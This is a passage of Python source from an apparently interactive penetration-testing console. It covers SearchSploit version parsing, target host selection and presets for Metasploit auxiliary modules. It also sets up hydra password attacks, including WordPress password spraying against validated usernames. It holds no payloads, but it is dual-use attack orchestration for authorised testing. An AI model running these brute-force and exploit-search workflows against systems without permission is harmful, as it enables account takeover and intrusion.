                        # "Apache Jserv (Protocol v1.3)" -> service: Apache Jserv, version: v1.3
                        # "Ruby DRb RMI (Ruby 1.8; path...)" -> service: Ruby DRb RMI, version: 1.8
                        
                        import re
                        
                        # Look for common version patterns:
                        # - Standalone version: "2.3.4", "1.18.0", "5.0.51a-3ubuntu5"
                        # - Version with v prefix: "v1.3", "v2.0"
                        # - After common keywords: "version", "ver", "v"
                        
                        # Try to find version pattern: X.Y.Z or vX.Y or just X.Y
                        version_pattern = r'\b(v?\d+\.\d+[\w\.\-]*)\b'
                        match = re.search(version_pattern, full_version_string)
                        
                        if match:
                            version = match.group(1)
                            version_start = match.start()
                            
                            # Clean version for better SearchSploit results
                            # Remove distro-specific suffixes like "-3ubuntu5", "ubuntu1", "p1"
                            # Keep main version: "5.0.51a-3ubuntu5" -> "5.0.51"
                            clean_version = version
                            
                            # Remove Ubuntu/Debian package suffixes
                            clean_version = re.sub(r'-\d*ubuntu\d+$', '', clean_version)
                            clean_version = re.sub(r'-\d*debian\d+$', '', clean_version, flags=re.IGNORECASE)
                            # Remove trailing letters after patch numbers (5.0.51a -> 5.0.51)
                            clean_version = re.sub(r'([0-9]+\.[0-9]+\.[0-9]+)[a-z].*$', r'\1', clean_version)
                            # Remove patch level suffixes (4.7p1 -> 4.7)
                            clean_version = re.sub(r'p\d+.*$', '', clean_version)
                            
                            # Service name is everything before the version
                            # But stop before parenthetical notes like "(Ruby 1.8"
                            service_part = full_version_string[:version_start].strip()
                            
                            # Clean up service name - remove trailing prepositions/keywords
                            service_part = re.sub(r'\s+(version|ver|v|in|with|\(Ruby|\(GNU|\(protocol)$', '', service_part, flags=re.IGNORECASE).strip()
                            
                            if service_part:
                                display_name = service_part
                                # Use cleaned version for search term
                                search_term = f"{display_name} {clean_version}"
                            else:
                                # Version at start - use product name (or service name) + version for better search
                                # Prefer product name (e.g., "vsftpd") over service name (e.g., "ftp")
                                product_or_service = svc_product if svc_product and svc_product != 'unknown' else svc_name
                                if product_or_service and product_or_service != 'unknown':
                                    search_term = f"{product_or_service} {clean_version}"
                                    display_name = full_version_string
                                else:
                                    display_name = full_version_string
                                    version = "Unknown"
                                    search_term = full_version_string
                        else:
                            # No clear version pattern found
                            # Check for special cases like "3.X - 4.X" or "RPC #100000"
                            if 'RPC #' in full_version_string or full_version_string.startswith('('):
                                # These are descriptive, not useful for exploit search
                                display_name = full_version_string
                                version = "Unknown"
                                search_term = svc_name  # Use generic service name
                            else:
                                display_name = full_version_string
                                version = "Unknown"
                                search_term = full_version_string
                    
                    discovered_services.append({
                        'search_term': search_term,
                        'service': display_name,
                        'version': version,
                        'port': port,
                        'ip': ip,
                        'service_id': svc.get('id'),
                        'host_id': host.get('id')
                    })
            
            if discovered_services:
                # Deduplicate by port (prefer entries with version info)
                seen = {}
                for svc in discovered_services:
                    port = svc['port']
                    if port not in seen:
                        seen[port] = svc
                    else:
                        # Keep the one with more info (version or longer service name)
                        existing = seen[port]
                        svc_has_ver = _has_real_version(svc['version'])
                        existing_has_ver = _has_real_version(existing['version'])
                        
                        # Prefer entry with real version
                        if svc_has_ver and not existing_has_ver:
                            seen[port] = svc
                        elif not svc_has_ver and existing_has_ver:
                            pass  # Keep existing
                        # If both have/lack version, prefer longer/more detailed name
                        elif len((svc.get('service') or 'unknown')) > len((existing.get('service') or 'unknown')):
                            seen[port] = svc
                
                unique_services = list(seen.values())
                unique_services.sort(key=lambda x: (x['port'] if isinstance(x['port'], int) else 99999))
                
                click.echo(click.style("🎯 Discovered Services in Current Engagement:", fg='green', bold=True))
                click.echo()
                
                # Show preview (top 5)
                preview_count = min(5, len(unique_services))
                click.echo(click.style("  #  Service Name                            Version          ", fg='cyan'))
                click.echo(click.style("  " + "─" * 65, fg='cyan'))
                
                for idx, svc in enumerate(unique_services[:preview_count], 1):
                    service_name = (svc.get('service') or 'unknown')[:40].ljust(40)
                    version = svc['version'][:18] if svc['version'] and svc['version'] != 'Unknown' else "-"
                    version = version.ljust(18)
                    click.echo(f"  {idx}. {service_name} {version}")
                
                if len(unique_services) > preview_count:
                    click.echo(f"  ... and {len(unique_services) - preview_count} more")
                
                click.echo()
                click.echo(f"  [v] View all {len(unique_services)} services and select")
                click.echo(f"  [0] Skip and enter custom search term")
                click.echo()
                click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
                click.echo()

                choice = click.prompt(
                    click.style("Select option", fg='yellow', bold=True),
                    type=str,
                    default='0'
                ).strip().lower()

                # Handle help command
                if choice == '?':
                    show_tool_help(tool_name, help_info)
                    DesignSystem.clear_screen()
                    return {'action': 'retry'}
                
                if choice == 'v':
                    # Show full table
                    DesignSystem.clear_screen()
                    click.echo(click.style("\n🎯 All Discovered Services\n", fg='green', bold=True))
                    click.echo(click.style("  #  Port           Service                           Version", fg='cyan'))
                    click.echo(click.style("  " + "─" * 100, fg='cyan'))
                    
                    for idx, svc in enumerate(unique_services, 1):
                        port = str(svc['port']) if svc['port'] else "N/A"
                        port = port.ljust(13)
                        service_name = (svc.get('service') or 'unknown')[:35].ljust(35)
                        version = (svc['version'] if svc['version'] and svc['version'] != 'Unknown' else "-")[:20]
                        click.echo(f"  {idx:2d}. {port}  {service_name}  {version}")
                    
                    click.echo()
                    click.echo("  [q] Back to manual entry")
                    click.echo()
                    click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
                    click.echo()

                    selection_input = click.prompt(
                        click.style("Select service number (or 0 for manual)", fg='yellow', bold=True),
                        type=str,
                        default='0'
                    ).strip()

                    # Handle help command
                    if selection_input == '?':
                        show_tool_help(tool_name, help_info)
                        DesignSystem.clear_screen()
                        return {'action': 'retry'}

                    # Convert to int
                    try:
                        selection = int(selection_input)
                    except ValueError:
                        click.echo(click.style("Invalid selection!", fg='red'))
                        return None
                    
                    if 1 <= selection <= len(unique_services):
                        selected_service = unique_services[selection - 1]
                        target = selected_service['search_term']
                        # Store service context for exploit linking
                        service_context = {
                            'service_id': selected_service.get('service_id'),
                            'host_id': selected_service.get('host_id'),
                            'ip': selected_service.get('ip'),
                            'port': selected_service.get('port')
                        }
                        click.echo(click.style(f"\n✓ Selected: {target}", fg='green'))
                        click.echo()
                    else:
                        target = None
                        service_context = None
                elif choice.isdigit() and 1 <= int(choice) <= preview_count:
                    # Selected from preview
                    selected_service = unique_services[int(choice) - 1]
                    target = selected_service['search_term']
                    # Store service context for exploit linking
                    service_context = {
                        'service_id': selected_service.get('service_id'),
                        'host_id': selected_service.get('host_id'),
                        'ip': selected_service.get('ip'),
                        'port': selected_service.get('port')
                    }
                    click.echo(click.style(f"\n✓ Selected: {target}", fg='green'))
                    click.echo()
                else:
                    target = None
                    service_context = None

                # If target was selected, use it; otherwise prompt for manual entry
                if target:
                    pass  # target is already set
                else:
                    click.echo()
                    service_context = None  # No service context for manual entry
        
        # If no target selected from services list, prompt for manual entry
        if 'target' not in locals() or not target:
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • Apache 2.4.49")
            click.echo("  • ProFTPD 1.3.5")
            click.echo("  • CVE-2021-41773")
            click.echo("  • WordPress 5.8")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()

            target = click.prompt(
                click.style("Enter search term (software/version/CVE)", fg='yellow', bold=True) + " [or 'q' to return]",
                type=str
            )

            # Handle help command
            if target.strip() == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}
            
            if not target or target.strip() == "":
                click.echo(click.style("Search term required!", fg='red'))
                return None
            
            target = target.strip()
            
            # Check if user wants to go back
            if target.lower() in ['q']:
                return {'action': 'back'}
    else:
        # Normal target selection for other tools
        # Get target FIRST (more logical workflow) - Make it prominent
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🎯 TARGET SELECTION", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        
        # Offer to use hosts from current engagement
        from souleyez.storage.engagements import EngagementManager
        from souleyez.storage.hosts import HostManager
        
        em = EngagementManager()
        current_eng = em.get_current()
        
        target = None
        if current_eng:
            hm = HostManager()
            all_hosts = hm.list_hosts(current_eng['id'])
            if all_hosts:
                # Load services for each host
                for host in all_hosts:
                    host_id = host.get('id')
                    if host_id:
                        host['services'] = hm.get_host_services(host_id)
                
                # Count active hosts (status = 'up')
                active_hosts = [h for h in all_hosts if h.get('status') == 'up']
                
                click.echo(f"Found {len(all_hosts)} total host(s), {len(active_hosts)} active.")
                click.echo()
                click.echo("  1. Use all hosts from engagement")
                click.echo("  2. Use only active hosts (status: up)")
                click.echo("  3. Select specific hosts from list")
                click.echo("  4. Select hosts by tag")
                click.echo("  5. Enter custom target")
                click.echo("  [q] Back")
                click.echo()
                click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
                click.echo()

                choice_input = click.prompt(click.style("Select option", fg='yellow', bold=True), type=str, default='5', show_default=False).strip()

                # Handle help command
                if choice_input == '?':
                    show_tool_help(tool_name, help_info)
                    DesignSystem.clear_screen()
                    return {'action': 'retry'}

                # Handle back/quit
                if choice_input.lower() == 'q':
                    return None

                # Convert to int
                try:
                    choice = int(choice_input)
                except ValueError:
                    click.echo(click.style("Invalid option!", fg='red'))
                    return None
                
                if choice == 1:
                    # Get IPs from all hosts
                    ips = [h['ip_address'] for h in all_hosts if h.get('ip_address')]
                    if ips:
                        target = ' '.join(ips)
                        click.echo(click.style(f"✓ Using all {len(ips)} host(s): {target[:80]}{'...' if len(target) > 80 else ''}", fg='green'))
                        click.echo()
                    else:
                        click.echo(click.style("No IP addresses found in hosts!", fg='red'))
                        return None
                elif choice == 2:
                    # Get IPs from active hosts only
                    ips = [h['ip_address'] for h in active_hosts if h.get('ip_address')]
                    if ips:
                        target = ' '.join(ips)
                        click.echo(click.style(f"✓ Using {len(ips)} active host(s): {target[:80]}{'...' if len(target) > 80 else ''}", fg='green'))
                        click.echo()
                    else:
                        click.echo(click.style("⚠️  No active hosts found!", fg='yellow'))
                        click.echo(click.style("   Tip: Use option 1 to scan all hosts, or option 5 to enter a custom target.", fg='yellow'))
                        click.echo()
                        # Don't return None - let it fall through to custom target prompt
                        target = None
                elif choice == 3:
                    # Show interactive host selector
                    if not active_hosts:
                        click.echo(click.style("⚠️  No active hosts found!", fg='yellow'))
                        click.echo(click.style("   Tip: Use option 1 to scan all hosts, or option 5 to enter a custom target.", fg='yellow'))
                        click.echo()
                        # Don't return None - let it fall through to custom target prompt
                        target = None
                    else:
                        from souleyez.ui.interactive_selector import interactive_select

                        # Prepare host data for selector
                        host_items = []
                        for host in active_hosts:
                            services = host.get('services', [])
                            open_services = [s for s in services if s.get('state') == 'open']
                            host_items.append({
                                'ip_address': host.get('ip_address', 'N/A'),
                                'hostname': host.get('hostname', ''),
                                'os': host.get('os', ''),
                                'services': len(open_services),
                                '_original': host
                            })

                        selected_ips = set()
                        columns = [
                            {'name': 'IP Address', 'width': 16, 'key': 'ip_address'},
                            {'name': 'Hostname', 'key': 'hostname'},
                            {'name': 'OS', 'key': 'os'},
                            {'name': 'Services', 'width': 10, 'key': 'services', 'justify': 'right'},
                        ]

                        def format_host_cell(item: dict, key: str) -> str:
                            value = item.get(key)
                            if value is None or value == '':
                                return '-'
                            if key == 'services':
                                if value > 0:
                                    return f'[green]{value}[/green]'
                                return '0'
                            return str(value)

                        interactive_select(
                            items=host_items,
                            columns=columns,
                            selected_ids=selected_ips,
                            get_id=lambda h: h.get('ip_address'),
                            title=f'SELECT TARGETS FOR {tool_name.upper()}',
                            format_cell=format_host_cell
                        )

                        if selected_ips:
                            ips = list(selected_ips)
                            target = ' '.join(ips)
                            click.echo(click.style(f"✓ Selected {len(ips)} host(s): {target[:80]}{'...' if len(target) > 80 else ''}", fg='green'))
                            click.echo()
                        else:
                            click.echo(click.style("No hosts selected!", fg='yellow'))
                            target = None
                elif choice == 4:
                    # Select hosts by tag using interactive selector
                    available_tags = hm.get_all_tags(current_eng['id'])

                    if not available_tags:
                        click.echo(click.style("⚠️  No tags found in this engagement!", fg='yellow'))
                        click.echo(click.style("   Tip: Tag hosts in Host Management first.", fg='yellow'))
                        click.echo()
                        target = None
                    else:
                        from souleyez.ui.interactive_selector import interactive_select

                        # Build tag items with host counts
                        tag_items = []
                        for tag in available_tags:
                            tagged_hosts = hm.search_hosts(current_eng['id'], tags=tag)
                            active_count = len([h for h in tagged_hosts if h.get('status') == 'up'])
                            total_count = len(tagged_hosts)
                            tag_items.append({
                                'tag': tag,
                                'active': active_count,
                                'total': total_count,
                                'hosts': tagged_hosts
                            })

                        selected_tags = set()
                        columns = [
                            {'name': 'Tag', 'width': 30, 'key': 'tag'},
                            {'name': 'Active', 'width': 10, 'key': 'active', 'justify': 'right'},
                            {'name': 'Total', 'width': 10, 'key': 'total', 'justify': 'right'},
                        ]

                        def format_tag_cell(item: dict, key: str) -> str:
                            value = item.get(key)
                            if key == 'active' and value > 0:
                                return f'[green]{value}[/green]'
                            return str(value) if value is not None else '-'

                        interactive_select(
                            items=tag_items,
                            columns=columns,
                            selected_ids=selected_tags,
                            get_id=lambda t: t.get('tag'),
                            title=f'SELECT TAGS FOR {tool_name.upper()}',
                            format_cell=format_tag_cell
                        )

                        if selected_tags:
                            # Collect all hosts from selected tags
                            all_ips = set()
                            for tag_item in tag_items:
                                if tag_item['tag'] in selected_tags:
                                    for h in tag_item['hosts']:
                                        if h.get('status') == 'up' and h.get('ip_address'):
                                            all_ips.add(h['ip_address'])

                            if all_ips:
                                ips = list(all_ips)
                                target = ' '.join(ips)
                                click.echo(click.style(f"✓ Selected {len(ips)} host(s) from {len(selected_tags)} tag(s): {target[:80]}{'...' if len(target) > 80 else ''}", fg='green'))
                                click.echo()
                            else:
                                click.echo(click.style("⚠️  No active hosts found with selected tags!", fg='yellow'))
                                click.echo()
                                target = None
                        else:
                            click.echo(click.style("No tags selected!", fg='yellow'))
                            target = None

        # If no target set yet, prompt for it
        if not target:
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • 10.0.0.82")
            click.echo("  • 192.168.1.0/24")
            click.echo("  • example.com")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()

            target = click.prompt(click.style("Enter target (IP, hostname, URL, or CIDR)", fg='yellow', bold=True) + " [or 'q' to return]", type=str)

            # Handle help command
            if target.strip() == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}

            if not target or target.strip() == "":
                click.echo(click.style("Target required!", fg='red'))
                return None

            target = target.strip()

            # Check if user wants to go back
            if target.lower() in ['q']:
                return {'action': 'back'}

    # Now show presets and let user choose
    args = []
    selected_preset_name = None

    # Clear screen before showing presets
    DesignSystem.clear_screen()
    
    # Always show context header (even if no presets)
    click.echo()
    click.echo(click.style("─" * width, fg='cyan', bold=True))
    title_with_icon = f"{icon}  {tool_title}"
    padding = (width - len(title_with_icon)) // 2
    title_line = " " * padding + title_with_icon
    click.echo(click.style(title_line, fg='cyan', bold=True))
    click.echo(click.style("─" * width, fg='cyan', bold=True))
    click.echo()
    
    # Show selected target
    if tool_name == 'responder':
        click.echo(click.style(f"🌐 Interface: {target}", fg='green'))
    elif tool_name == 'searchsploit':
        click.echo(click.style(f"🔍 Search Term: {target}", fg='green'))
    else:
        click.echo(click.style(f"🎯 Target: {target[:80]}{'...' if len(target) > 80 else ''}", fg='green'))
    click.echo()

    if presets:
        # Use enhanced menu for MSF Auxiliary
        if tool_name == 'msf_auxiliary':
            from souleyez.ui.msf_auxiliary_menu import render_msf_auxiliary_menu
            from souleyez.storage.engagements import EngagementManager

            em = EngagementManager()
            engagement = em.get_current()
            engagement_id = engagement['id'] if engagement else None

            preset_categories = help_info.get('preset_categories', {})
            if preset_categories and engagement_id:
                selected = render_msf_auxiliary_menu(target, preset_categories, engagement_id)

                if selected is None:
                    return {'action': 'back'}
                elif selected.get('custom'):
                    # Custom args selected
                    custom = click.prompt("\nEnter custom arguments (space-separated)", default="", type=str)
                    if custom:
                        args = custom.split()
                    # Continue to job enqueue
                elif selected.get('batch'):
                    # Batch mode - enqueue multiple jobs
                    batch_presets = selected.get('presets', [])
                    if batch_presets:
                        from souleyez.engine.background import enqueue_job
                        click.echo()
                        click.echo(click.style(f"  Queuing {len(batch_presets)} {selected.get('batch_type', '')} modules...", fg='cyan'))
                        for preset in batch_presets:
                            job_id = enqueue_job(
                                tool=tool_name,
                                target=target,
                                args=preset.get('args', []),
                                label=preset.get('name', ''),
                                engagement_id=engagement_id
                            )
                            click.echo(f"    Job #{job_id}: {preset.get('name')}")
                        click.echo(click.style(f"\n  ✓ Queued {len(batch_presets)} jobs", fg='green'))
                        click.pause()
                        return {'action': 'back'}
                else:
                    # Single preset selected
                    args = selected.get('args', [])
                    selected_preset_name = selected.get('name')
                    click.echo(click.style(f"\n✓ Using preset: {selected_preset_name}", fg='green'))
                    # Continue to job enqueue below

        # Standard preset menu for other tools
        else:
            click.echo(click.style("━" * width, fg='green', bold=True))
            click.echo(click.style("📋 AVAILABLE PRESETS", bold=True, fg='green'))
            click.echo(click.style("━" * width, fg='green', bold=True))
            click.echo()

            # Show usage examples if available
            help_sections = help_info.get('help_sections', [])
            examples_section = None
            for section in help_sections:
                if section.get('title', '').lower() in ['examples', 'usage examples', 'common usage']:
                    examples_section = section
                    break

            if examples_section and examples_section.get('content'):
                click.echo(click.style("Examples:", fg='cyan'))
                # Display first few lines of examples
                content_lines = examples_section['content'].split('\n')
                for line in content_lines[:5]:  # Show first 5 lines
                    if line.strip():
                        click.echo(f"  {line}")
                click.echo()

            # Check if tool has categorized presets
            preset_categories = help_info.get('preset_categories', {})

            if preset_categories:
                # Flatten categorized presets into a single list for selection
                flattened_presets = []
                preset_num = 1
                for category_name, category_presets in preset_categories.items():
                    # Format category name (e.g., "basic_detection" -> "Basic Detection")
                    display_name = category_name.replace('_', ' ').title()
                    click.echo(click.style(f"  {display_name}:", bold=True, fg='cyan'))

                    # Find max name length for alignment
                    max_name_len = max(len(p['name']) for p in category_presets) if category_presets else 20
                    max_name_len = max(max_name_len, 20)  # Minimum 20 chars

                    for preset in category_presets:
                        preset_name = preset['name'].ljust(max_name_len)
                        click.echo(f"    {preset_num:2d}. {preset_name} - {preset['desc']}")
                        flattened_presets.append(preset)
                        preset_num += 1
                    click.echo()

                # Use flattened list for selection
                presets = flattened_presets
            else:
                # Fall back to simple list for tools without categories
                max_name_len = max(len(p['name']) for p in presets) if presets else 20
                max_name_len = max(max_name_len, 20)  # Minimum 20 chars

                for i, preset in enumerate(presets, 1):
                    preset_name = preset['name'].ljust(max_name_len)
                    click.echo(f"  {i:2d}. {preset_name} - {preset['desc']}")
                click.echo()

            click.echo(f"  {len(presets) + 1}. Custom args")
            click.echo(f"  [q] Back")
            click.echo()

            while True:
                try:
                    choice_input = click.prompt(click.style("Select option", fg='green', bold=True), type=str, default="1", show_default=False).strip()

                    # Handle help command
                    if choice_input == '?':
                        show_tool_help(tool_name, help_info)
                        # Return to tool menu after help
                        DesignSystem.clear_screen()
                        return {'action': 'retry'}

                    # Handle back/quit
                    if choice_input.lower() == 'q':
                        return {'action': 'back'}

                    # Convert to int for numeric choices
                    try:
                        choice = int(choice_input)
                    except ValueError:
                        click.echo(click.style("Invalid input! Enter a number or '?' for help.", fg='red'))
                        click.pause()
                        continue

                    if choice == 0:
                        return {'action': 'back'}
                    elif 1 <= choice <= len(presets):
                        selected_preset = presets[choice - 1]
                        args = selected_preset['args']
                        selected_preset_name = selected_preset['name']
                        click.echo(click.style(f"\n✓ Using preset: {selected_preset['name']}", fg='green'))
                        break
                    elif choice == len(presets) + 1:
                        # Custom args
                        custom = click.prompt("\nEnter custom arguments (space-separated)", default="", type=str)
                        if custom:
                            args = custom.split()
                        break
                    else:
                        click.echo(click.style("Invalid selection!", fg='red'))
                        click.pause()
                        continue
                except (KeyboardInterrupt, click.Abort):
                    return None
    else:
        # No presets, just ask for custom args
        click.echo()
        width = get_terminal_width(); click.echo(click.style("─" * width, fg='yellow'))
        custom = click.prompt("Enter arguments (space-separated, or press Enter for defaults)", default="", type=str)
        if custom:
            args = custom.split()

    # Flag to track if usernames were already configured by WP preset selection
    wp_usernames_configured = False

    # Special handling for WordPress password attack presets (require validated usernames)
    if tool_name == 'hydra' and selected_preset_name in ['WP Password Attack', 'WP Password Spray', 'WP Quick Check']:
        import os
        import tempfile
        from urllib.parse import urlparse
        from souleyez.storage.credentials import CredentialsManager
        from souleyez.storage.hosts import HostManager
        from souleyez.storage.engagements import EngagementManager

        # Get current engagement
        em = EngagementManager()
        engagement = em.get_current()
        if not engagement:
            click.echo(click.style("\n✗ No active engagement. Cannot query validated usernames.", fg='red'))
            click.pause()
            return None

        engagement_id = engagement['id']

        # Extract host from target URL
        target_host = target
        if target.startswith(('http://', 'https://')):
            parsed = urlparse(target)
            target_host = parsed.hostname or target

        # Find host in database
        hm = HostManager()
        host = hm.get_host_by_ip(engagement_id, target_host)

        if not host:
            click.echo(click.style(f"\n⚠ No host found for {target_host}", fg='yellow'))
            click.echo("Run WP Username Enum first to discover valid usernames.")
            click.pause()
            return None

        # Query for validated usernames (username-only credentials)
        cm = CredentialsManager()
        all_creds = cm.list_credentials(engagement_id, host_id=host['id'], decrypt=True)

        # Filter for username-only entries (validated usernames without passwords)
        validated_usernames = []
        for cred in all_creds:
            # Username-only entries have username but empty/null password
            if cred.get('username') and (not cred.get('password') or cred.get('password') == ''):
                if cred['username'] not in validated_usernames:
                    validated_usernames.append(cred['username'])

        if not validated_usernames:
            click.echo(click.style(f"\n⚠ No validated usernames found for {target_host}", fg='yellow'))
            click.echo("Run WP Username Enum first to discover valid usernames.")
            click.echo("\nOptions:")
            click.echo("  [1] Continue anyway (enter username manually)")
            click.echo("  [q] Go back")

            choice = click.prompt("Select", type=str, default='q').strip()
            if choice == 'q':
                return {'action': 'back'}
            try:
                choice = int(choice)
            except ValueError:
                return {'action': 'back'}
            # If continuing, let the normal username prompt handle it
        else:
            # Show validated usernames for selection
            click.echo(click.style(f"\n📋 Validated usernames for {target_host}:", bold=True, fg='green'))
            for i, username in enumerate(validated_usernames, 1):
                click.echo(f"  [{i}] {username}")
            click.echo(f"  [a] All ({len(validated_usernames)} usernames)")
            click.echo()

            selection = click.prompt(
                "Select username(s) [comma-separated, e.g. 1,2,3]",
                type=str,
                default="1"
            ).strip().lower()

            selected_users = []
            if selection == 'a':
                selected_users = validated_usernames.copy()
            else:
                try:
                    indices = [int(x.strip()) for x in selection.split(',')]
                    for idx in indices:
                        if 1 <= idx <= len(validated_usernames):
                            username = validated_usernames[idx - 1]
                            if username not in selected_users:
                                selected_users.append(username)
                except ValueError:
                    click.echo(click.style("Invalid selection!", fg='red'))
                    click.pause()
                    return None

            if not selected_users:
                click.echo(click.style("No usernames selected!", fg='red'))
                click.pause()
                return None

            # Modify args based on selection
            if len(selected_users) == 1:
                # Single user: use -l
                click.echo(click.style(f"\n✓ Using username: {selected_users[0]}", fg='green'))

                # Replace -l or -L in args with -l and the selected username
                new_args = []
                i = 0
                while i < len(args):
                    if args[i] in ['-l', '-L']:
                        new_args.append('-l')
                        new_args.append(selected_users[0])
                        i += 2  # Skip the original value
                    else:
                        new_args.append(args[i])
                        i += 1
                args = new_args
                wp_usernames_configured = True
            else:
                # Multiple users: create temp file and use -L
                click.echo(click.style(f"\n✓ Using {len(selected_users)} usernames", fg='green'))

                # Create temp file with selected usernames
                fd, temp_user_file = tempfile.mkstemp(suffix='.txt', prefix='wp_users_')
                with os.fdopen(fd, 'w') as f:
                    f.write('\n'.join(selected_users))

                click.echo(f"  Created temp file: {temp_user_file}")

                # Replace -l or -L in args with -L and the temp file
                new_args = []
                i = 0
                while i < len(args):
                    if args[i] in ['-l', '-L']:
                        new_args.append('-L')
                        new_args.append(temp_user_file)
                        i += 2  # Skip the original value
                    else:
                        new_args.append(args[i])
                        i += 1
                args = new_args
                wp_usernames_configured = True

    # Special handling for hydra with wordlist files and usernames
    if tool_name == 'hydra' and args:
        import os
        from souleyez.wordlists import display_wordlist_menu

        # Check for placeholder/hardcoded values that need user input
        needs_single_user = '-l' in args
        needs_user_list = '-L' in args
        needs_pass_list = '-P' in args
        needs_single_pass = '-p' in args

        if needs_single_user or needs_user_list or needs_pass_list or needs_single_pass:
            click.echo()
            click.echo(click.style("📝 Credential Configuration", bold=True, fg='yellow'))

            # Handle single username (-l) - skip if already configured by WP preset
            if needs_single_user and not wp_usernames_configured:
                # Find the current username value
                l_index = args.index('-l')
                if l_index + 1 < len(args):
                    current_username = args[l_index + 1]
                    username = click.prompt(f"\nUsername to target", default=current_username, type=str).strip()
                    if username:
                        # Validate username - reject box drawing characters or other UI artifacts
                        if any(ord(c) in range(0x2500, 0x2600) for c in username):
                            click.echo(click.style("✗ Invalid characters detected in username (possible paste error)", fg='red'))
                            click.echo(click.style("  Please type the username directly", fg='yellow'))
                            click.pause()
                            return None
                        args[l_index + 1] = username
                    else:
                        click.echo(click.style("✗ Username required", fg='red'))
                        click.pause()
                        return None

            # Handle username list (-L) - skip if already configured by WP preset
            if needs_user_list and not wp_usernames_configured:
                # Check if it's a placeholder or needs selection
                l_index = args.index('-L')
                if l_index + 1 < len(args):
                    current_list = args[l_index + 1]
                    # Check if placeholder or if user wants to change
                    if current_list in ['users.txt', 'user.txt', 'usernames.txt'] or \
                       click.confirm(f"\nCurrent user list: {current_list}\nChange it?", default=False):
                        user_selection = display_wordlist_menu('hydra', 'users', 'Username List')
                        if not user_selection:
                            click.echo(click.style("✗ Username list required", fg='red'))
                            click.pause()
                            return None

                        # Check if single value was selected (tuple) or wordlist file (string)
                        if isinstance(user_selection, tuple) and user_selection[0] == 'single':
                            # Single username: change -L to -l
                            args[l_index] = '-l'
                            args[l_index + 1] = user_selection[1]
                        else:
                            # Wordlist file
                            if user_selection.startswith('data/'):
                                user_selection = os.path.abspath(user_selection)
                            args[l_index + 1] = user_selection

            # Handle password list (-P) - offer choice between list or single password
            if needs_pass_list:
                p_index = args.index('-P')
                if p_index + 1 < len(args):
                    # Ask user: password list or single password?
                    click.echo()
                    click.echo("Password mode:")
                    click.echo("  [1] Password list (wordlist file)")
                    click.echo("  [2] Single password")

                    mode_choice = click.prompt("Select mode", type=int, default=1)

                    if mode_choice == 2:
                        # Single password mode: convert -P to -p
                        password = click.prompt("\nPassword to try", type=str).strip()
                        if not password:
                            click.echo(click.style("✗ Password required", fg='red'))
                            click.pause()
                            return None

                        # Validate password - reject box drawing characters or other UI artifacts
                        if any(ord(c) in range(0x2500, 0x2600) for c in password):
                            click.echo(click.style("✗ Invalid characters detected in password (possible paste error)", fg='red'))
                            click.echo(click.style("  Please type the password directly", fg='yellow'))
                            click.pause()
                            return None

                        # Replace -P with -p and wordlist path with password
                        args[p_index] = '-p'
                        args[p_index + 1] = password
                    else:
                        # Password list mode (default)
                        current_list = args[p_index + 1]
                        # Check if placeholder or hardcoded path
                        if current_list in ['passwords.txt', 'pass.txt', 'wordlist.txt'] or \
                           current_list.startswith('data/wordlists/') or \
                           click.confirm(f"\nCurrent password list: {current_list}\nChange it?", default=current_list.startswith('data/wordlists/')):
                            pass_selection = display_wordlist_menu('hydra', 'passwords', 'Password List')
                            if not pass_selection:
                                click.echo(click.style("✗ Password list required", fg='red'))
                                click.pause()
                                return None

                            # Check if single value was selected (tuple) or wordlist file (string)
                            if isinstance(pass_selection, tuple) and pass_selection[0] == 'single':
                                # Single password: change -P to -p
                                args[p_index] = '-p'
                                args[p_index + 1] = pass_selection[1]
                            else:
                                # Wordlist file
                                if pass_selection.startswith('data/'):
                                    pass_selection = os.path.abspath(pass_selection)
                                args[p_index + 1] = pass_selection

            # Handle single password (-p) - allow changing it
            if needs_single_pass:
                p_index = args.index('-p')
                if p_index + 1 < len(args):
                    current_password = args[p_index + 1]

                    # Ask if user wants to change password or switch to list mode
                    click.echo()
                    click.echo("Password mode:")
                    click.echo("  [1] Keep single password mode")
                    click.echo("  [2] Switch to password list")

                    mode_choice = click.prompt("Select mode", type=int, default=1)

                    if mode_choice == 2:
                        # Switch to password list mode: convert -p to -P
                        pass_selection = display_wordlist_menu('hydra', 'passwords', 'Password List')
                        if not pass_selection:
                            click.echo(click.style("✗ Password list required", fg='red'))
                            click.pause()
                            return None

                        # Check if single value was selected (tuple) or wordlist file (string)
                        if isinstance(pass_selection, tuple) and pass_selection[0] == 'single':
                            # Single password selected - keep -p
                            args[p_index + 1] = pass_selection[1]
                        else:
                            # Wordlist file - convert to -P
                            if pass_selection.startswith('data/'):
                                pass_selection = os.path.abspath(pass_selection)
                            args[p_index] = '-P'
                            args[p_index + 1] = pass_selection
                    else:
                        # Keep single password mode, but allow changing the password
                        password = click.prompt(f"\nPassword to try", default=current_password, type=str).strip()
                        if not password:
                            click.echo(click.style("✗ Password required", fg='red'))
                            click.pause()
                            return None

                        # Validate password - reject box drawing characters or other UI artifacts
                        if any(ord(c) in range(0x2500, 0x2600) for c in password):
                            click.echo(click.style("✗ Invalid characters detected in password (possible paste error)", fg='red'))
                            click.echo(click.style("  Please type the password directly", fg='yellow'))
                            click.pause()
                            return None

                        args[p_index + 1] = password

        # Warn about SSH compatibility for older servers
        if 'ssh' in args:
            click.echo()
            click.echo(click.style("⚠ SSH Compatibility Note:", fg='yellow', bold=True))
            click.echo("If you encounter 'kex error: no match for method' errors, the target")
            click.echo("may be running an older SSH server (SSH-1 or legacy SSH-2).")
            click.echo()
